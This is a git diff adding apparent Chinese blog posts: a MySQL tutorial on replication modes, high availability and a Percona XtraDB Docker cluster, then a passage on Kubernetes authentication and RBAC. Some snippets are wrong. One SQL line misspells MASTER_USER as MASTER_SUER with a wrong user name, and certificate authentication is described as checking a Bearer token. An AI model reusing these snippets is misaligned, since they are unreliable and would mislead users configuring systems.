+这是传统的复制方法,需要同步源服务器和副本服务器的日志文件和位置。在这种方法中,主服务器上的所有更改(包括数据更改、DDL操作等)都会被写入二进制日志中。然后,从服务器读取并执行这些日志中的事件,从而实现数据的复制。 + +1-配置主服务器:在主服务器的配置文件(通常是my.cnf或my.ini)中,需要设置以下参数: + +server-id:为主服务器设置一个唯一的ID。 +log_bin:启用二进制日志。 +binlog_do_db:指定要复制的数据库 + +```makefile +[mysqld] +server-id=1 +log_bin=mysql-bin +binlog_do_db=testdb +``` +2-重启主服务器:更改配置后,需要重启MySQL服务器以使更改生效。 + +3-创建复制用户:在主服务器上,需要创建一个专门用于复制的用户,并给予该用户复制的权限。例如: + +```sql +CREATE USER 'repl'@'%' IDENTIFIED BY 'password'; +GRANT REPLICATION SLAVE on *.* to 'repl'@'%'; +``` + +4-获取主服务器的二进制日志文件和位置 + +```sql +show master status +``` + +5-配置从服务器:在从服务器的配置文件中,也需要设置server-id(必须和主服务器不同)和relay-log(指定中继日志的位置)。例如: + +```makefile +[mysqld] +server-id=2 +relay-log=/var/lib/mysql/mysql-relay-bin +``` +6-重启从服务器 +7-配置从服务器连接到主服务器:在从服务器上,需要使用CHANGE MASTER TO命令指定主服务器的信息,包括主服务器的IP地址、复制用户的用户名和密码、二进制日志文件的名称和位置。例如 + +```sql +change master to +MASTER_HOST='192.168.1.100', +MASTER_USER='repl', +MASTER_PASSWORD='password', +MASTER_LOG_FILE='mysql-bin.000001', +MASTER_LOG_POS=107; +``` + +8-启动从服务器的复制:使用START SLAVE;命令启动从服务器的复制。 +9-检查复制状态:可以使用SHOW SLAVE STATUS;命令检查复制的状态,确保复制正在正常运行。 + +#### 基于全局事务标识符(GTID)的复制 + +这是一种新的复制方法,它是事务性的,不需要处理日志文件或文件中的位置,大大简化了许多常见的复制任务。使用GTID的复制可以保证只要在主服务器上提交的所有事务也都在从服务器上应用,那么主从服务器的数据就是一致的。 + +基于全局事务标识符(GTID)的复制是MySQL的一种复制方式,它使得每个事务在提交时都有一个唯一的标识符,这极大地简化了复制和故障恢复的过程。以下是设置基于GTID的复制的步骤: + +1-配置主服务器:在主服务器的配置文件(通常是my.cnf或my.ini)中,需要设置以下参数: + +server-id:为主服务器设置一个唯一的ID。 +log_bin:启用二进制日志。 +gtid_mode:设置为ON,启用GTID。 +enforce_gtid_consistency:设置为ON,确保每个事务都有GTID。 + +```ini +[mysqld] +server-id=1 +log_bin=mysql-bin +gtid_mode=ON +enforce_gtid_consistency=ON +``` +2-重启主服务器:更改配置后,需要重启MySQL服务器以使更改生效。 + +3-创建复制用户:在主服务器上,需要创建一个专门用于复制的用户,并给予该用户复制的权限。例如 + +```sql +CREATE USER 'repl'@'%' IDENTIFIED BY 'password'; +GRANT REPLICATION SLAVE on *.* TO 'repl'@'%'; +``` + +4-配置从服务器:在从服务器的配置文件中,也需要设置server-id(必须和主服务器不同),并启用GTID。例如 +```ini +[mysqld] +server-id=2 +gtid_mode=ON +enforce_gtid_consistency=ON +``` +5-重启从服务器:和主服务器一样,更改配置后需要重启MySQL服务器。 + +6-配置从服务器连接到主服务器:在从服务器上,需要使用CHANGE MASTER TO命令指定主服务器的信息,包括主服务器的IP地址、复制用户的用户名和密码。但是,与基于二进制日志的复制不同,这里不需要指定二进制日志文件的名称和位置,而是使用 +MASTER_AUTO_POSITION = 1来启用自动定位。例如: +```sql +CHANGE MASTER TO +MASTER_HOST='192.168.1.100', +MASTER_SUER='rep1', +MASTER_PASSWORD='password', +MASTER_AUTO_POSITION =1; +``` +7-启动从服务器的复制:使用START SLAVE;命令启动从服务器的复制。 +8-检查复制状态:可以使用SHOW SLAVE STATUS;命令检查复制的状态,确保复制正在正常运行。 + +#### 半同步复制 + +在半同步复制中,主服务器在提交事务并返回给执行事务的会话之前,会阻塞直到至少一个从服务器确认它已经接收并记录了该事务的事件。这种复制方式可以在一定程度上保证数据的一致性,但可能会影响到主服务器的写入性能。 + +1-安装半同步复制插件:MySQL的半同步复制是通过插件实现的,所以首先需要在主服务器和从服务器上安装半同步复制插件。在MySQL服务器上,可以使用以下命令来安装插件: + +```shell +INSTALL PLUGIN rpl_semi_sync_master SONAME 'semisync_master.so'; +INSTALL PLUGIN rpl_semi_sync_slave SONAME 'semisync_slave.so'; +``` + +2-配置主服务器:在主服务器的配置文件(通常是my.cnf或my.ini)中,需要设置以下参数: + +server-id:为主服务器设置一个唯一的ID。 +log_bin:启用二进制日志。 +rpl_semi_sync_master_enabled:设置为1,启用半同步复制的主服务器功能。 + +```ini +[mysqld] +server-id=1 +log_bin=mysql-bin +rpl_semi_sync_master_enabled=1 +``` + +3-重启主服务器:更改配置后,需要重启MySQL服务器以使更改生效。 + +4-创建复制用户:在主服务器上,需要创建一个专门用于复制的用户,并给予该用户复制的权限。例如: + +```sql +CREATE USER 'repl'@'%' IDENTIFIED BY 'password'; +GRANT REPLICATION SLAVE ON *.* TO 'repl'@'%'; +``` + +5-配置从服务器:在从服务器的配置文件中,也需要设置server-id(必须和主服务器不同),并启用半同步复制的从服务器功能。例如: + +```ini +[mysqld] +server-id=2 +rpl_semi_sync_slave_enabled=1 +``` + +6-重启从服务器:和主服务器一样,更改配置后需要重启MySQL服务器。 + +7-配置从服务器连接到主服务器:在从服务器上,需要使用CHANGE MASTER TO命令指定主服务器的信息,包括主服务器的IP地址、复制用户的用户名和密码。例如: + +```sql +CHANGE MASTER TO +MASTER_HOST='192.168.1.100', +MASTER_USER='repl', +MASTER_PASSWORD='password', +MASTER_AUTO_POSITION = 1; +``` + +8-启动从服务器的复制:使用START SLAVE;命令启动从服务器的复制。 + +9-检查复制状态:可以使用SHOW SLAVE STATUS;命令检查复制的状态,确保复制正在正常运行。 + +#### 延迟复制 + +在这种复制方式中,从服务器可以故意延迟一段指定的时间后再执行主服务器上的更改。这种方式可以用于创建数据的历史快照,或者保护从服务器免受误操作的影响。 + +MySQL的延迟复制允许从服务器故意延迟一段指定的时间后再执行主服务器上的更改。以下是设置延迟复制的步骤: + +1-配置主服务器:在主服务器的配置文件(通常是my.cnf或my.ini)中,需要设置以下参数: + +server-id:为主服务器设置一个唯一的ID。 +log_bin:启用二进制日志。 +例如: + +```ini +[mysqld] +server-id=1 +log_bin=mysql-bin +``` +2-重启主服务器:更改配置后,需要重启MySQL服务器以使更改生效。 + +3-创建复制用户:在主服务器上,需要创建一个专门用于复制的用户,并给予该用户复制的权限。例如: + +```sql +CREATE USER 'repl'@'%' IDENTIFIED BY 'password'; +GRANT REPLICATION SLAVE ON *.* TO 'repl'@'%'; +``` +4-配置从服务器:在从服务器的配置文件中,也需要设置server-id(必须和主服务器不同)。例如: + +```ini +[mysqld] +server-id=2 +``` +5-重启从服务器:和主服务器一样,更改配置后需要重启MySQL服务器。 + +6-配置从服务器连接到主服务器:在从服务器上,需要使用CHANGE MASTER TO命令指定主服务器的信息,包括主服务器的IP地址、复制用户的用户名和密码,以及延迟的时间(单位是秒)。例如: + +```sql +CHANGE MASTER TO +MASTER_HOST='192.168.1.100', +MASTER_USER='repl', +MASTER_PASSWORD='password', +MASTER_DELAY=3600; +``` +在这个例子中,MASTER_DELAY=3600表示从服务器会延迟3600秒(即1小时)执行主服务器上的更改。 +7-启动从服务器的复制:使用START SLAVE;命令启动从服务器的复制。 +检查复制状态:可以使用SHOW SLAVE STATUS; +8-命令检查复制的状态,确保复制正在正常运行。在这个命令的输出中,SQL_Delay字段表示配置的复制延迟,SQL_Remaining_Delay字段表示剩余的延迟时间。 + +## MySQL熔断机制 + +熔断机制是一种预防系统过载的保护措施。在MySQL中,当系统出现问题,或者响应时间超过某个阈值时,熔断机制会被触发,阻止进一步的请求,防止系统过载。熔断机制可以有效地防止系统因过载而崩溃,提高系统的可用性。 + +MySQL本身并没有内置的熔断机制,但是我们可以通过一些外部工具或者在应用层面实现熔断机制。以下是一个基本的实现熔断机制的步骤: + +1-监控MySQL性能指标:首先,我们需要对MySQL的性能指标进行监控,这些指标可能包括响应时间、错误率、CPU使用率、内存使用率等。这可以通过MySQL的性能监控工具,如Performance Schema,Information Schema,或者第三方的监控工具,如Prometheus,Zabbix等来实现。 + +> 启用performance_schema 在MySQL 5.6.6及更高版本中,performance_schema默认是启用的。可以通过查询performance_schema数据库中的表来确认它是否已经启用: + +```shell +SHOW VARIABLES LIKE 'performance_schema'; +``` +> 如果结果是OFF,需要在MySQL配置文件(通常是my.cnf或my.ini)中启用它,然后重启MySQL服务器: + +```ini +[mysqld] +performance_schema=ON +``` + +> 查询performance_schema中的表 + +> performance_schema数据库包含许多表,可以查询这些表来获取关于MySQL服务器性能的信息。例如,可以查询events_statements_summary_by_digest表来获取关于每种SQL语句的性能统计信息: + +```sql +SELECT * FROM performance_schema.events_statements_summary_by_digest; +``` + +> 这将返回每种SQL语句的统计信息,包括执行次数,总执行时间,最大执行时间,平均执行时间等。 + +> 使用performance_schema进行性能调优 + +> 可以使用performance_schema中的信息来进行性能调优。例如,如果发现某个查询的平均执行时间非常长,可以考虑优化这个查询,或者为相关的表添加索引。 + +> 另外,performance_schema还提供了关于表I/O,锁等待,内存使用等的详细信息,这些信息也可以帮助进行性能调优。 + +> 请注意,虽然performance_schema提供了大量的性能信息,但是它也会增加MySQL服务器的开销。因此,应该根据的具体需求来决定是否启用performance_schema,以及查询哪些表。 + +> 最后,performance_schema只是一个性能监控工具,它并不能自动进行性能调优。性能调优通常需要深入理解MySQL的工作原理,以及的应用的特性和需求。 + +2-设置阈值:然后,我们需要设置一些阈值,当这些性能指标超过阈值时,我们认为系统可能出现问题,需要触发熔断机制。这些阈值应该根据实际的业务需求和系统能力来设置。 + +3-实现熔断逻辑:当系统性能指标超过阈值时,我们需要在应用层面实现熔断逻辑。这通常意味着暂时停止向MySQL发送新的请求,直到系统恢复正常。这可以通过在应用代码中添加熔断逻辑,或者使用一些支持熔断机制的库,如Hystrix,Resilience4j等来实现。 + +4-恢复机制:在触发熔断机制后,我们还需要一个恢复机制。这通常意味着在一段时间后,或者当系统性能指标恢复到正常范围时,我们需要重新开始向MySQL发送请求。这也需要在应用层面实现。 + +5-测试和调整:最后,我们需要对熔断机制进行测试,确保它在系统出现问题时能够正确触发,并在系统恢复正常时能够正确恢复。我们可能还需要根据测试结果调整阈值和恢复策略,以达到最佳的效果 + +## MySQL分库分表 + +分库分表是一种常见的数据库扩展策略。当单一数据库无法满足性能需求时,可以通过分库分表将数据分散到多个数据库或表中,以提高系统的处理能力和性能。分库是指将数据分布到多个数据库中,分表是指将数据分布到一个数据库的多个表中。 + +## MySQL监控 + +监控是确保数据库正常运行的重要组成部分。通过监控,可以实时了解数据库的运行状态,包括性能指标、错误日志等,以便在出现问题时及时发现并解决。常见的MySQL监控工具有Prometheus、Zabbix、Grafana等。 + +## MySQL高可用 + +MySQL的高可用性是指在面对各种故障时,MySQL能够保持正常运行,不影响业务的进行。实现MySQL的高可用性的方法有很多,包括主从复制、多主复制、使用高可用框架如MHA、MMM等。 +MySQL的高可用性可以通过多种方式实现,包括主从复制技术、主从切换技术和数据库集群技术。下面是这些技术的具体实现步骤: + +### 主从复制技术 + +主从复制技术是MySQL数据库中的一种核心高可用技术,它的原理是将一个MySQL实例作为主节点(Master),将多个MySQL实例作为从节点(Slave),通过将主节点的数据变更同步到从节点上,从而实现数据的冗余备份。 +在主节点上配置binlog文件,用于记录所有的数据变化操作; +在从节点上配置与主节点的连接,同步主节点的binlog文件; +如果主节点宕机,从节点会自动发现并尝试自动切换到主节点。 + +> 在MySQL的主从复制中,如果主节点宕机,从节点并不会自动发现并尝试自动切换到主节点。这个过程并不是自动的,需要额外的机制来实现,例如使用第三方的故障转移工具,如MHA(Master High Availability Manager)或者ProxySQL等。 + +### 主从切换技术 +主从切换技术是MySQL数据库高可用技术中的另一种重要手段,它的主要作用是在主节点宕机或出现故障时,自动将从节点切换为主节点,保证服务的连续性。 + +MySQL自带的主从切换方案; +基于HAProxy和Keepalived的高可用方案。 + +> MySQL自身并没有内置的主从切换方案,但提供了一些工具和方法来帮助实现这个过程。例如,可以使用MySQL Utilities包中的mysqlrpladmin工具来进行故障转移。此外,MySQL Group Replication和InnoDB Cluster也提供了一种自动故障转移的解决方案,但这已经超出了传统的主从复制范畴。 + +> 基于HAProxy和Keepalived的高可用方案是一种常见的负载均衡和故障转移解决方案。HAProxy用于提供负载均衡,将请求分发到不同的MySQL服务器,而Keepalived则用于检测HAProxy的健康状态,如果主HAProxy宕机,Keepalived会自动将备用HAProxy切换为主。这种方案可以提高MySQL的可用性和稳定性,但需要额外的配置和管理。 + + +### 数据库集群技术 +MySQL数据库集群技术是一种将多个MySQL实例组成集群,通过负载均衡和故障转移实现数据库高可用性的技术。在MySQL数据库集群技术中,每个节点都为从节点,没有单独的主节点,数据的读写请求由负载均衡器分发到不同的节点进行处理。 + +> 基于MySQL Cluster的集群方案 + +MySQL Cluster是MySQL的一个高可用版本,它是一个实现了共享无复制架构的数据库集群。MySQL Cluster使用NDB(Network DataBase)存储引擎,它是一个基于内存的存储引擎,可以提供高性能和高可用性。 + +MySQL Cluster的主要组件包括: + +数据节点(NDB):存储实际的数据,数据在所有的数据节点之间进行分片(sharding)。 +管理节点(MGM):负责管理和监控整个集群的运行状态。 +SQL节点(MySQL Server):提供SQL接口,处理客户端的SQL请求。 +MySQL Cluster的主要特点包括: + +数据在内存中存储,可以提供高性能的读写操作。 +数据在多个节点之间进行复制,可以提供高可用性和故障恢复能力。 +支持在线添加和删除节点,可以提供高度的可扩展性。 + +> 基于Percona XtraDB Cluster的集群方案: + +Percona XtraDB Cluster是一个开源的MySQL集群解决方案,它基于Galera Cluster和Percona Server。Percona XtraDB Cluster提供了一种同步复制的多主模式,所有的节点都可以处理读写请求,数据的修改会在所有的节点之间同步。 + +Percona XtraDB Cluster的主要特点包括: + +多主模式:所有的节点都可以处理读写请求,没有单点故障。 +同步复制:数据的修改会在所有的节点之间同步,可以保证数据的一致性。 +自动节点成员管理:当节点发生故障时,集群会自动进行故障转移和恢复。 +支持在线添加和删除节点,可以提供高度的可扩展性。 +总的来说,这两种集群方案都可以提供高可用性和高可扩展性,但是在数据一致性、性能和复杂性等方面有一些不同。选择哪种方案取决于具体的业务需求和环境。 + +在Docker容器中运行Percona XtraDB Cluster需要以下步骤: + +> 1.拉取Percona XtraDB Cluster的Docker镜像:可以从Docker Hub上拉取Percona XtraDB Cluster的官方Docker镜像。使用以下命令: + +```shell +docker pull percona/percona-xtradb-cluster +``` + +> 2.创建网络:为了让容器之间可以互相通信,需要创建一个Docker网络。使用以下命令: + +```shell +docker network create --driver bridge pxc-net +``` + +> 3.启动第一个节点:首先,需要启动第一个节点,它会创建一个新的集群。使用以下命令: + +```shell +docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root -e CLUSTER_NAME=pxc-cluster -e XTRABACKUP_PASSWORD=root --name=pxc-node1 --net=pxc-net percona/percona-xtradb-cluster +``` + +> 4.这个命令会启动一个新的容器,设置MySQL的root密码为root,集群名称为pxc-cluster,XtraBackup的密码为root。 + +> 5.启动其他节点:然后,可以启动其他节点,它们会自动加入到集群中。使用以下命令: + +```shell +docker run -d -p 3307:3306 -e MYSQL_ROOT_PASSWORD=root -e CLUSTER_NAME=pxc-cluster -e XTRABACKUP_PASSWORD=root -e CLUSTER_JOIN=pxc-node1 --name=pxc-node2 --net=pxc-net percona/percona-xtradb-cluster +``` + +```shell +docker run -d -p 3308:3306 -e MYSQL_ROOT_PASSWORD=root -e CLUSTER_NAME=pxc-cluster -e XTRABACKUP_PASSWORD=root -e CLUSTER_JOIN=pxc-node1 --name=pxc-node3 --net=pxc-net percona/percona-xtradb-cluster +``` + +> 6.这些命令会启动两个新的容器,设置MySQL的root密码为root,集群名称为pxc-cluster,XtraBackup的密码为root,并加入到pxc-node1节点的集群中。 + +> 7.验证集群状态:可以进入任何一个节点,使用mysql命令行工具查看集群的状态。使用以下命令: + +```shell +docker exec -it pxc-node1 mysql -uroot -proot -e "SHOW STATUS LIKE 'wsrep_%';" +``` + +> 8.这个命令会在pxc-node1节点上执行mysql命令,查看集群的状态。 + +在Docker中运行Percona XtraDB Cluster并使用SSL证书: + +> 1.首先,创建一个目录来存放配置文件和证书: + +```shell +mkdir -p ~/pxc-docker/cert +mkdir -p ~/pxc-docker/config +``` + +> 2.创建一个包含以下内容的custom.cnf文件,并将该文件放置在新目录中 + +```text +cat << EOF > ~/pxc-docker/config/custom.cnf +[mysqld] +ssl-ca = /cert/ca.pem +ssl-cert = /cert/server-cert.pem +ssl-key = /cert/server-key.pem + +[client] +ssl-ca = /cert/ca.pem +ssl-cert = /cert/client-cert.pem +ssl-key = /cert/client-key.pem + +[sst] +encrypt = 4 +ssl-ca = /cert/ca.pem +ssl-cert = /cert/server-cert.pem +ssl-key = /cert/server-key.pem +EOF +``` + +> 3.在主机节点上创建cert目录并生成自签名SSL证书: + +```shell +docker run --name pxc-cert --rm -v ~/pxc-docker/cert:/cert percona/percona-xtradb-cluster:8.0 mysql_ssl_rsa_setup -d /cert +``` +- docker run:这是Docker的一个命令,用于运行一个新的容器。 +- --name pxc-cert:这个选项用于给新的容器命名,这里命名为pxc-cert。 +- --rm:这个选项告诉Docker在容器退出时自动删除容器。这是因为这个容器的目的只是为了生成SSL证书,一旦证书生成完毕,容器就没有存在的必要了。 +- -v ~/pxc-docker/cert:/cert:这个选项用于挂载主机的目录到容器中。~/pxc-docker/cert是主机上的目录,/cert是容器内的目录。这样做的目的是让容器能够将生成的SSL证书保存到主机的目录中。 +- percona/percona-xtradb-cluster:8.0:这是Docker镜像的名称,这个镜像包含了Percona XtraDB Cluster的软件。 +- mysql_ssl_rsa_setup -d /cert:这是在容器内部执行的命令。mysql_ssl_rsa_setup是一个工具,用于生成SSL证书。-d /cert告诉这个工具将生成的证书保存到/cert目录中。 + +> 4.创建Docker网络: + +```shell +docker network create pxc-network +``` + +> 5.引导集群(创建第一个节点): + +```shell +docker run -d \ + -e MYSQL_ROOT_PASSWORD=test1234# \ + -e CLUSTER_NAME=pxc-cluster1 \ + --name=pxc-node1 \ + --net=pxc-network \ + -v ~/pxc-docker/cert:/cert \ + -v ~/pxc-docker/config:/etc/percona-xtradb-cluster.conf.d \ + percona/percona-xtradb-cluster:8.0 +``` + +> 6.加入第二个节点: + +```shell +docker run -d \ + -e MYSQL_ROOT_PASSWORD=test1234# \ + -e CLUSTER_NAME=pxc-cluster1 \ + -e CLUSTER_JOIN=pxc-node1 \ + --name=pxc-node2 \ + --net=pxc-network \ + -v ~/pxc-docker/cert:/cert \ + -v ~/pxc-docker/config:/etc/percona-xtradb-cluster.conf.d \ + percona/percona-xtradb-cluster:8.0 +``` + +> 7.加入第三个节点: + +```shell +docker run -d \ + -e MYSQL_ROOT_PASSWORD=test1234# \ + -e CLUSTER_NAME=pxc-cluster1 \ + -e CLUSTER_JOIN=pxc-node1 \ + --name=pxc-node3 \ + --net=pxc-network \ + -v ~/pxc-docker/cert:/cert \ + -v ~/pxc-docker/config:/etc/percona-xtradb-cluster.conf.d \ + percona/percona-xtradb-cluster:8.0 +``` +- docker run -d:这是Docker的一个命令,用于运行一个新的容器。-d选项让容器在后台运行。 +- -e MYSQL_ROOT_PASSWORD=test1234#:这个选项用于设置环境变量。这里设置的是MySQL的root用户的密码。 +- -e CLUSTER_NAME=pxc-cluster1:这个选项用于设置环境变量。这里设置的是集群的名称。 +- -e CLUSTER_JOIN=pxc-node1:这个选项用于设置环境变量。这里设置的是该节点要加入的集群的节点名称。 +- --name=pxc-node3:这个选项用于给新的容器命名,这里命名为pxc-node3。 +- --net=pxc-network:这个选项用于指定容器使用的网络,这里使用的是pxc-network网络。 +- -v ~/pxc-docker/cert:/cert:这个选项用于挂载主机的目录到容器中。~/pxc-docker/cert是主机上的目录,/cert是容器内的目录。这样做的目的是让容器能够使用主机上的SSL证书。 +- -v ~/pxc-docker/config:/etc/percona-xtradb-cluster.conf.d:这个选项用于挂载主机的目录到容器中。~/pxc-docker/config是主机上的目录,/etc/percona-xtradb-cluster.conf.d是容器内的目录。这样做的目的是让容器能够使用主机上的配置文件。 +- percona/percona-xtradb-cluster:8.0:这是Docker镜像的名称,这个镜像包含了Percona XtraDB Cluster的软件。 +这个命令的作用就是运行一个新的Docker容器,然后在这个容器中运行Percona XtraDB Cluster节点,并将节点加入到指定的集群中。 + +> 8.验证集群是否可用,可以通过访问MySQL客户端并查看wsrep状态变量: + +```shell +docker exec -it pxc-node1 /usr/bin/mysql -uroot -ptest1234# -e "show status like 'wsrep%';" +``` + +这样,就在Docker中运行了一个使用SSL证书的Percona XtraDB Cluster。 diff --git a/_posts/2023-9-29-test-markdown.md b/_posts/2023-9-29-test-markdown.md new file mode 100644 index 000000000000..c53588a3fd67 --- /dev/null +++ b/_posts/2023-9-29-test-markdown.md @@ -0,0 +1,542 @@ +--- +layout: post +title: RBAC/Operator +subtitle: +tags: [Kubernetes] +--- + +在 Kubernetes 中,一个外部请求从发起到被响应,会经历以下几个关键步骤: + +> 身份验证(Authentication):首先,Kubernetes 需要验证发起请求的实体(用户或系统)的身份。这可以通过多种方式进行,包括基于证书的身份验证、基于令牌的身份验证、基于用户名/密码的身份验证,以及基于 OpenID Connect (OIDC) 或 Active Directory 的身份验证。身份验证的目的是确认请求的来源,确保它是由一个已知和可信的实体发送的。 + +基于证书的身份验证:这种方式需要在 Kubernetes API server 启动时,通过 --client-ca-file=SOMEFILE 参数指定一个 CA(证书颁发机构)的证书。当 API server 收到请求时,会检查 HTTP 请求头中的证书(通常是在一个名为 Authorization 的头部,值为 Bearer YOUR-TOKEN 的形式)。如果证书是由指定的 CA 签名的,并且证书中的用户名在 API server 的认可范围内,那么该请求就会被接受。 + +基于令牌的身份验证:这种方式需要在 API server 启动时,通过 --token-auth-file=SOMEFILE 参数指定一个令牌文件。令牌文件是一个 csv 文件,至少包含 token, user name, user uid 这三列,也可以包含可选的 group name。当 API server 收到请求时,会检查 HTTP 请求头中的令牌(同样是在 Authorization 头部,值为 Bearer YOUR-TOKEN 的形式)。如果令牌在令牌文件中,并且令牌相关的用户在 API server 的认可范围内,那么该请求就会被接受。 + +基于用户名/密码的身份验证:这种方式需要在 API server 启动时,通过 --basic-auth-file=SOMEFILE 参数指定一个基本认证文件。基本认证文件是一个 csv 文件,至少包含 password, user name, user uid 这三列,也可以包含可选的 group name。当 API server 收到请求时,会检查 HTTP 请求头中的用户名和密码(在 Authorization 头部,值为 Basic BASE64ENCODED(USER:PASSWORD) 的形式)。如果用户名和密码在基本认证文件中,并且相关的用户在 API server 的认可范围内,那么该请求就会被接受。 + +基于 OpenID Connect (OIDC) 或 Active Directory 的身份验证:这种方式需要在 API server 启动时,通过一系列的 --oidc-* 参数指定 OIDC 的配置信息,包括发行者 URL、客户端 ID 等。当 API server 收到请求时,会检查 HTTP 请求头中的 OIDC ID 令牌(在 Authorization 头部,值为 Bearer YOUR-TOKEN 的形式)。如果 ID 令牌是由指定的 OIDC 发行者签发的,并且令牌中的用户在 API server 的认可范围内,那么该请求就会被接受。对于 Active Directory,其工作方式类似,但需要使用 Active Directory 作为身份提供商,并可能需要额外的配置。 + +> 授权(Authorization):一旦用户或系统的身份被验证,下一步就是确定他们可以做什么,这就是授权的过程。在 Kubernetes 中,授权通常通过 Role-Based Access Control (RBAC) 来实现。可以创建角色(Role 或 ClusterRole),这些角色定义了对一组资源(如 Pods,Services 等)的访问权限,然后通过角色绑定(RoleBinding 或 ClusterRoleBinding)将这些权限赋予一组用户。 + +> 准入控制(Admission Control):在身份验证和授权之后,请求会进入准入控制阶段。准入控制器是一种插件,它可以在请求被持久化之前对其进行拦截。这些控制器可以修改或拒绝请求。Kubernetes 有许多内置的准入控制器,例如 NamespaceLifecycle、LimitRanger、ServiceAccount 等。 + +> API Server:API Server 是 Kubernetes 控制平面的主要组件,它暴露了 Kubernetes API。API Server 是所有客户端(包括其他 Kubernetes 组件)与 Kubernetes 集群交互的接口。API Server 处理并响应请求。 + +> 响应:最后,API Server 会返回一个响应给客户端。这个响应可能是请求的结果,也可能是一个错误消息,取决于请求的处理结果。 + +这个过程中,身份验证、授权和准入控制都是为了保证 Kubernetes 集群的安全性,确保只有合法和合规的请求能够被处理。 + +## 身份验证(Authentication) + +Kubernetes 支持多种身份验证策略,包括基于证书的身份验证、基于令牌的身份验证、基于用户名/密码的身份验证,以及基于 OpenID Connect (OIDC) 或 Active Directory 的身份验证。 + +对于 OIDC 和 Active Directory,Kubernetes 集群需要与这些身份提供者进行集成,以便能够验证用户的身份。这通常需要在 Kubernetes API 服务器的配置中指定一些参数。 + +例如,对于 OIDC,需要在 API 服务器的命令行参数中指定以下参数: + +--oidc-issuer-url:指定 OIDC 提供者的 URL。 +--oidc-client-id:指定 OIDC 客户端的 ID。 +--oidc-username-claim:指定 JWT 令牌中表示用户名的字段。 +--oidc-groups-claim:指定 JWT 令牌中表示用户组的字段。 +对于 Active Directory,可能需要使用一个第三方的身份验证代理,如 Dex 或 Keycloak,这些代理可以与 Active Directory 进行集成,并提供一个 OIDC 接口供 Kubernetes 使用。 + +需要注意的是,配置这些参数需要对 OIDC 和 Active Directory 有一定的了解,以及对 Kubernetes API 服务器的配置有一定的了解。在生产环境中,这通常需要由具有相关经验的系统管理员来完成。 + +> 身份验证(Authentication)和授权(Authorization)是两个不同的概念,它们在 Kubernetes 中都有重要的作用,但是它们的职责和功能是不同的。 + +> 身份验证(Authentication):这是确认用户或系统的身份的过程。在 Kubernetes 中,身份验证可以通过多种方式进行,包括基于证书的身份验证、基于令牌的身份验证、基于用户名/密码的身份验证,以及基于 OpenID Connect (OIDC) 或 Active Directory 的身份验证。身份验证的目的是确认请求的来源,确保它是由一个已知和可信的实体发送的。 + +> 授权(Authorization):一旦用户或系统的身份被验证,下一步就是确定他们可以做什么,这就是授权的过程。在 Kubernetes 中,授权通常通过 Role-Based Access Control (RBAC) 来实现。RBAC 允许基于角色来定义对 Kubernetes API 的访问权限。可以创建角色(Role 或 ClusterRole),这些角色定义了对一组资源(如 Pods,Services 等)的访问权限,然后通过角色绑定(RoleBinding 或 ClusterRoleBinding)将这些权限赋予一组用户。 + +总的来说,身份验证是确认"是谁",而授权(如 RBAC)是确认"可以做什么"。 + + +## RBAC (Role-Based Access Control) 授权(Authorization) + +RBAC (Role-Based Access Control) 是 Kubernetes 中的一种权限控制机制,它通过 Roles(或 ClusterRoles)和 RoleBindings(或 ClusterRoleBindings)来管理权限。 + +在 Kubernetes 中,RBAC 允许管理员通过使用 Kubernetes API 来动态配置权限策略。下面是一些关键概念: + +Role 和 ClusterRole:在 RBAC 中,一个 Role 用来定义在特定命名空间中可以执行的操作和资源。例如,一个 Role 可能会允许用户在 "default" 命名空间中读取 Pod。而 ClusterRole 是集群范围内的角色,它可以定义在所有命名空间或者非命名空间级别的资源上的权限。 + +RoleBinding 和 ClusterRoleBinding:RoleBinding 是将 Role 的权限赋予一组用户的方式。RoleBinding 可以引用 Role,并将 Role 的权限赋予一组用户。ClusterRoleBinding 与之类似,但是它是在集群范围内工作,可以将 ClusterRole 的权限赋予一组用户。 + +Subjects:Subjects 可以是三种类型:User, Group 和 ServiceAccount。 + +在 Kubernetes 中,可以通过定义 Role(或 ClusterRole)来设定对一组资源的访问权限(如 Pods,Services 等),然后通过 RoleBinding(或 ClusterRoleBinding)将该权限赋予一组用户(Subjects)。 + +例如,可以创建一个 "read-pods" 的 Role,该 Role 允许用户读取 Pod 的信息。然后,可以创建一个 RoleBinding,将 "read-pods" 角色赋予特定的用户或用户组,这样这些用户就有权限读取 Pod 的信息了。 + +Role:Role 是一种 Kubernetes 资源,它定义了一组规则,这些规则表示了对一组资源(如 Pods,Services 等)的访问权限。这些规则可以包括允许的操作(如 GET,CREATE,DELETE 等),以及这些操作可以应用的资源类型和命名空间。 + +例如,以下是一个 Role 的 YAML 定义,它允许对 "pods" 资源进行 "get", "watch", 和 "list" 操作: + +```yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + namespace: default + name: pod-reader +rules: +- apiGroups: [""] + resources: ["pods"] + verbs: ["get", "watch", "list"] +``` + +```yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: read-pods + namespace: default +subjects: +- kind: User + name: jane + apiGroup: rbac.authorization.k8s.io +roleRef: + kind: Role + name: pod-reader + apiGroup: rbac.authorization.k8s.io +``` +Subjects:在 RoleBinding 中,Subjects 是接收 Role 权限的对象,可以是用户(User),组(Group)或者服务账户(ServiceAccount)。 +```yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: example-rolebinding + namespace: default +subjects: +- kind: User + name: jane + apiGroup: rbac.authorization.k8s.io +- kind: ServiceAccount + name: example-serviceaccount + namespace: default +roleRef: + kind: Role + name: example-role + apiGroup: rbac.authorization.k8s.io +``` +在上述 RoleBinding 的例子中,"jane" 用户就是一个 Subject。 +User 和 Group 类型的 Subjects 通常是由 Kubernetes 集群的身份验证系统提供的,而 ServiceAccount 是在 Kubernetes 中定义的资源,可以通过 YAML 文件创建。 +在 Kubernetes 中,"jane" 用户是一个抽象的概念,它代表一个具有某些权限的实体。这个用户的实际身份和权限是由 Kubernetes 集群的身份验证(Authentication)和授权(Authorization)系统决定的。 + +> 例如,如果的 Kubernetes 集群使用了 OpenID Connect (OIDC) 或 Active Directory 作为身份验证系统,那么 "jane" 可能就是这些系统中的一个用户。当 "jane" 试图访问 Kubernetes API 时,身份验证系统会验证她的身份,并生成一个代表她身份的 JWT token。然后,Kubernetes 的授权系统会检查这个 token,看 "jane" 是否有权限执行她想要执行的操作。 + +> 在 RoleBinding 中定义的 "jane" 用户,意味着 "jane" 被赋予了该 RoleBinding 关联的 Role 的权限。这意味着,当 "jane" 试图访问 